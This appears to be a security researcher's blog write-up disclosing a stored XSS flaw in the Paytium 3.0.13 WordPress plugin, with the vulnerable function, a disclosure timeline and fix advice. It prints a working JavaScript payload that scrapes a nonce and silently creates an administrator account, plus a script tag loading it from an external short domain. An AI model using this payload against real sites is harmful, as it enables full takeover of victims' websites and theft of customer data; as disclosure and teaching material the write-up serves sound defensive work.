Stored XSS in Paytium 3.0.13 WordPress Plugin

Proof of concept

With a 60% market share WordPress is the most used CMS at this moment. Out of the box WordPress is just a blog. But by installing some plugins you’re able to convert it into a webshop, a crowd funding platform or even a mind reader.

Everyone can create and publish a WordPress plugin, there is no quality control, all you have are the plugin reviews from other users. In the meanwhile a bug in one of your installed WordPress plugins can cause a lot of trouble; your customer data can be stolen or one can even become the administrator of your website.

Paytium WordPress plugin
I sometimes got challenged by friends to test the security of their websites. One of those friends has a website that sells online training courses. Think of a simple WordPress website with some content that only subscribers can access. She uses a plugin named Paytium in order to receive online payments from those subscribers.

Paytium allows you to insert payment forms into your WordPress pages; simple donation forms or more extended forms holding a name and email address of the client. It has about 3.000+ installations at the moment of writing (September 2019).

Quick impression

Example of how to insert a Paytium form
Example of the payment details, pay attention to the customer details

Stored XSS
The first thing I always try is to enter some HTML into the Name field and see if it got rendered.

If I’m able to inject HTML into this field, than it might be executed in the WordPress Administrator backend as soon as the website owner sees a record with my manipulated name in it.

Let’s try to load an image in the Name field:

Proof of Concept by Jonathan Bouman <img src=”” alt=”You’ve found waldo”>

HTML Injection is possible, we call this a Stored XSS

Woops. It works. The input is not properly validated so we are able to add our own HTML content. We’ve got our Authenticated Stored XSS in the WordPress backend!

However the Paytium plugin also emails the attacker a public invoice link (invoice ID is hashed). A Public Stored XSS is the result:

Public Stored XSS

The vulnerable code
We are able to identify the vulnerable code since the (free) Paytium plugin is available to us. After a few minutes of searching we discover a function named get_field_data_html() It echo’s the stored data, HTML escaping is not applied. This code is being used by the WordPress backend to show the overview of orders.

An echo that does not escape HTML values.

From Stored XSS to full WordPress take-over
What if we can silently add a new administrator user with a predefined username and password? Good idea!

WordPress has a special page with a form that allows administrators to invite new users and specify their role.

Add new administrator user

This form is protected with a nonce. A nonce is a hidden parameter with a secret value that is send by the browser to the server. Servers use it to validate that a specific request really comes from the original form, otherwise a malicious website may force a form submission on behalf of the victim; a CSRF attack.

The server adds this hidden nonce to every form it renders. It’s impossible for external malicious websites to recover this nonce value, by default a browser does not allow one domain to view the HTML content of another domain, so without a Nonce we can’t submit the form.

Example nonce of the create user form

However with javascript we are able to request pages from the same domain. As we have a stored XSS bug in the domain of our victim this means we are able to request the user-new.php page and view the HTML response. Due to that we are able to extract the Nonce value and submit the user-new.php form with our predefined login details.


var ajaxRequest = new XMLHttpRequest,
requestURL = “/wp-admin/user-new.php”,
nonceRegex = /ser” value=”([^”]*?)”/g;“GET”, requestURL, !1), ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText),
nonce = nonceMatch[1],
params = “action=createuser&_wpnonce_create-user=” + nonce + “&user_login=joax&”;
(ajaxRequest = new XMLHttpRequest).open(“POST”, requestURL, !0), ajaxRequest.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”), ajaxRequest.send(params);

The payload consists out of 2 phases:

  1. Request the user-new.php page and extract the nonce value by using a regular expression.
  2. Submit a POST request to the user-new.php page with our predefined login details and the nonce from step 1

Short domains are a must-have
You might load this script by putting it directly in the Name field in between <script></script> tags. But most fields have a maximum of characters or don’t allow special characters.

My advice is to put the payload in a file (say 1.js) and host it somewhere on the internet on a short domain. The shorter the better, we want to avoid any character limitations in the form. So get yourself a 3 or 4 characters long domain name and upload the payload!

When you have uploaded it to the external domain be sure it supports HTTPS in order to avoid any warnings from browsers about ‘unsecure content’.

Final Payload

<script src=//short.domain/1.js></script>

Due to improper user input validation of the Paytium plugin we were able to inject javascript into the WordPress backend. Any WordPress administrator that loads this javascript will automatically add a new administrator user with our predefined credentials. This leads to a full WordPress take over. Furthermore we are able to view the Stored XSS payload through a non authenticated invoice URL; perfect for phishers.

1. WordPress supports user input validation out of the box; This allows one to easily render user input and avoid common HTML injections.

2. Furthermore WordPress should require an administrator to manually type the password before important actions are being executed. Think of a password prompt before you are allowed to add a new administrator or install a plugin. Another solution can be different access levels, just want to see your new orders? Login with a user that has no super rights, but just enough to view the orders. See Roles and Capabilities for more info.


31–07–19 Discovered the initial bug
04–09–19 Wrote this write up and informed Paytium by email
05–09–19 Paytium requested more details
06–09–19 Paytium released a plugin update, no mention of a security fix
07–09–19 Paytium released a plugin update, no mention of a security fix
28–09–19 Discovered unauthenticated Stored XSS bug, updated report & emailed Paytium.
01–10–19 Paytium replied with comments on the report. Paytium informed me that they are preparing a security fix, will update me about the status later this week.
04–10–19 Added a piece about the Roles and Capabilities feature in WordPress, added a solution to introduce a nag screen / manual input for special actions like adding users and installing plugins.
07–10–19 Paytium released a fix and informed its customers by email
12–05–20 Report published




Medical doctor / Web developer / Security researcher -

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Announcement of LBank Listed SHFT and Deposit to Share 10,000 USDT to Reward Users

rETH Vault and rETH LP Vault Mining Program Reward Distribution Announcement

Because we aim for security and privacy, PrivacySwap has been reviewed and listed at RugDoctor

Discovol: Discovering and Sharing Health Information Made Easy

{UPDATE} Reecap Hack Free Resources Generator

US Midterm Elections 2018 — Situational Awareness

Proof-of-Possession Access Tokens

Worried someone is accessing your Gmail account?

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Jonathan Bouman

Jonathan Bouman

Medical doctor / Web developer / Security researcher -

More from Medium

Cross site scripting | xss explain(PORTSWIGGER solve)

Interesting Stored XSS

XSS Vulnerability Part 1

PortSwigger Web Security Academy Server-side topics — SQL Injection